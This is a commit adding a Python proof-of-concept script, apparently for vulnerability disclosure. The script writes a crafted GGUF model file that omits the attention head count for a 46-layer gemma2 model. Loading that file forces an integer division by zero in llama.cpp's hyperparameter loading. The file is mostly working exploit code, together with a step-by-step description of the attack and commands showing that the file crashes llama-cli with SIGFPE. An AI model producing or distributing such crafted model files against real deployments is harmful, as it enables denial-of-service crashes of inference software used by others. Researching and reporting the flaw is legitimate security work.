Upload poc_gemma2_divzero.py with huggingface_hub

poc_gemma2_divzero.py

@@ -0,0 +1,178 @@
+#!/usr/bin/env python3
+"""
+PoC: Integer division-by-zero (SIGFPE / UB) in llama.cpp gemma2 architecture loading.
+
+Vulnerability: In src/llama-model.cpp, the LLM_ARCH_GEMMA2 handler computes:
+
+    hparams.f_attention_scale = type == LLM_TYPE_27B
+        ? 1.0f / std::sqrt(float(hparams.n_embd / hparams.n_head(0)))
+        : 1.0f / std::sqrt(float(hparams.n_embd_head_k));
+
+When n_layer == 46, the type is set to LLM_TYPE_27B, so the first branch is taken.
+If the `attention.head_count` key is omitted from the GGUF file, the n_head_arr
+stays filled with 0s (from std::fill at line 552), so n_head(0) returns 0.
+This makes `hparams.n_embd / hparams.n_head(0)` an integer division by zero.
+
+The guard at line 606 (`if (hparams.n_head() > 0)`) only protects the
+n_embd_head_k calculation, not the architecture-specific code at line 1347.
+
+Platform behavior:
+  - x86_64: SIGFPE (hardware trap on integer division by zero), exit code 136
+  - ARM64:  Silent undefined behavior (ARM SDIV returns 0 for div-by-zero),
+            but UBSan catches it and aborts with exit code 134
+
+Attack vector:
+  1. Set general.architecture = "gemma2"
+  2. Set gemma2.block_count = 46 (triggers LLM_TYPE_27B)
+  3. Set gemma2.embedding_length = 4096 (any non-zero value)
+  4. Set gemma2.context_length = 8192 (required)
+  5. Set gemma2.attention.layer_norm_rms_epsilon = 1e-6 (required for gemma2)
+  6. OMIT gemma2.attention.head_count (this is loaded with required=false)
+  7. n_head_arr stays all-zero => n_head(0) == 0 => division by zero
+
+The crash occurs during load_hparams(), before vocab or tensor loading,
+so no valid vocabulary or tensor data is needed.
+
+Confirmed UBSan output:
+  src/llama-model.cpp:1347:61: runtime error: division by zero
+  SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior src/llama-model.cpp:1347:61
+"""
+
+import struct
+import os
+
+# GGUF constants
+GGUF_MAGIC = b"GGUF"
+GGUF_VERSION = 3
+GGUF_DEFAULT_ALIGNMENT = 32
+
+# GGUF KV type constants
+GGUF_TYPE_UINT32  = 4
+GGUF_TYPE_FLOAT32 = 6
+GGUF_TYPE_STRING  = 8
+
+
+def write_string(f, s):
+    """Write a GGUF string: uint64 length + chars (no null terminator)."""
+    encoded = s.encode('utf-8')
+    f.write(struct.pack('<Q', len(encoded)))
+    f.write(encoded)
+
+
+def write_kv_string(f, key, value):
+    """Write a KV pair with string value."""
+    write_string(f, key)
+    f.write(struct.pack('<I', GGUF_TYPE_STRING))
+    write_string(f, value)
+
+
+def write_kv_uint32(f, key, value):
+    """Write a KV pair with uint32 value."""
+    write_string(f, key)
+    f.write(struct.pack('<I', GGUF_TYPE_UINT32))
+    f.write(struct.pack('<I', value))
+
+
+def write_kv_float32(f, key, value):
+    """Write a KV pair with float32 value."""
+    write_string(f, key)
+    f.write(struct.pack('<I', GGUF_TYPE_FLOAT32))
+    f.write(struct.pack('<f', value))
+
+
+def create_gemma2_divzero_gguf(output_path):
+    """Create a GGUF file that triggers integer division-by-zero in gemma2 hparams loading.
+
+    The crash occurs in load_hparams() at the LLM_ARCH_GEMMA2 case, before
+    vocab or tensor loading. So we need:
+      - A valid GGUF v3 header
+      - The required KV pairs for gemma2 (but NOT attention.head_count)
+      - Zero tensors (the crash happens before tensors are loaded)
+    """
+
+    n_tensors = 0  # No tensors needed; crash is in hparams loading
+    n_kv = 5       # Number of KV pairs (see below)
+
+    with open(output_path, 'wb') as f:
+        # ===== GGUF Header =====
+        f.write(GGUF_MAGIC)                            # magic: "GGUF"
+        f.write(struct.pack('<I', GGUF_VERSION))        # version: 3
+        f.write(struct.pack('<Q', n_tensors))           # n_tensors: 0
+        f.write(struct.pack('<Q', n_kv))                # n_kv: 5
+
+        # ===== KV Pairs =====
+
+        # 1. general.architecture = "gemma2"
+        #    This selects LLM_ARCH_GEMMA2 in load_arch().
+        write_kv_string(f, "general.architecture", "gemma2")
+
+        # 2. gemma2.context_length = 8192
+        #    Required (loaded at line 517 with required=true).
+        write_kv_uint32(f, "gemma2.context_length", 8192)
+
+        # 3. gemma2.embedding_length = 4096
+        #    Required (loaded at line 518 with required=true).
+        #    Must be non-zero so that n_embd / n_head(0) is a non-trivial division.
+        write_kv_uint32(f, "gemma2.embedding_length", 4096)
+
+        # 4. gemma2.block_count = 46
+        #    Required (loaded at line 520 with required=true).
+        #    46 layers triggers LLM_TYPE_27B at line 1341, which selects the
+        #    vulnerable code path at line 1347 that divides by n_head(0).
+        write_kv_uint32(f, "gemma2.block_count", 46)
+
+        # 5. gemma2.attention.layer_norm_rms_epsilon = 1e-6
+        #    Required for gemma2 (loaded at line 1334 with required=true).
+        #    This must be present or load_hparams() throws before reaching line 1347.
+        write_kv_float32(f, "gemma2.attention.layer_norm_rms_epsilon", 1e-6)
+
+        # DELIBERATELY OMITTED: gemma2.attention.head_count
+        # This key is loaded at line 571 with required=false:
+        #   ml.get_key_or_arr(LLM_KV_ATTENTION_HEAD_COUNT, hparams.n_head_arr, hparams.n_layer, false);
+        # When omitted, n_head_arr stays filled with 0s (from std::fill at line 552).
+        # Then at line 1347: hparams.n_embd / hparams.n_head(0) = 4096 / 0 => SIGFPE
+
+        # ===== Alignment padding =====
+        # Even with 0 tensors, pad to alignment boundary for spec compliance.
+        current_pos = f.tell()
+        aligned_pos = (current_pos + GGUF_DEFAULT_ALIGNMENT - 1) // GGUF_DEFAULT_ALIGNMENT * GGUF_DEFAULT_ALIGNMENT
+        if aligned_pos > current_pos:
+            f.write(b'\x00' * (aligned_pos - current_pos))
+
+    file_size = os.path.getsize(output_path)
+    print(f"[*] Created: {output_path}")
+    print(f"[*] File size: {file_size} bytes")
+    print(f"[*]")
+    print(f"[*] Vulnerability details:")
+    print(f"[*]   Architecture:  gemma2 (LLM_ARCH_GEMMA2)")
+    print(f"[*]   block_count:   46 (triggers LLM_TYPE_27B)")
+    print(f"[*]   embedding_length: 4096")
+    print(f"[*]   head_count:    OMITTED (stays 0 from std::fill)")
+    print(f"[*]")
+    print(f"[*]   Crash location: src/llama-model.cpp:1347")
+    print(f"[*]     hparams.n_embd / hparams.n_head(0)")
+    print(f"[*]     = 4096 / 0")
+    print(f"[*]     => integer division by zero (UB)")
+    print(f"[*]")
+    print(f"[*] Test with (x86_64 -- deterministic SIGFPE crash):")
+    print(f"[*]   ./build/bin/llama-cli -m {output_path} -p 'hello'")
+    print(f"[*]   Expected: SIGFPE, exit code 136")
+    print(f"[*]")
+    print(f"[*] Test with UBSan (any platform -- clean UB report):")
+    print(f"[*]   cmake -B build-ubsan \\")
+    print(f"[*]     -DCMAKE_C_FLAGS='-fsanitize=undefined -fno-sanitize-recover=all' \\")
+    print(f"[*]     -DCMAKE_CXX_FLAGS='-fsanitize=undefined -fno-sanitize-recover=all' \\")
+    print(f"[*]     -DCMAKE_EXE_LINKER_FLAGS='-fsanitize=undefined' \\")
+    print(f"[*]     -DCMAKE_SHARED_LINKER_FLAGS='-fsanitize=undefined' \\")
+    print(f"[*]     -DGGML_METAL=OFF -DGGML_BLAS=OFF -DGGML_CUDA=OFF")
+    print(f"[*]   cmake --build build-ubsan -j$(nproc)")
+    print(f"[*]   ./build-ubsan/bin/llama-completion -m {output_path} -p 'hello'")
+    print(f"[*]   Expected: 'runtime error: division by zero', exit code 134")
+
+
+if __name__ == "__main__":
+    output_dir = "/Users/eltarne/Documents/script/gguf_poc"
+    os.makedirs(output_dir, exist_ok=True)
+
+    output_path = os.path.join(output_dir, "poc_gemma2_divzero.gguf")
+    create_gemma2_divzero_gguf(output_path)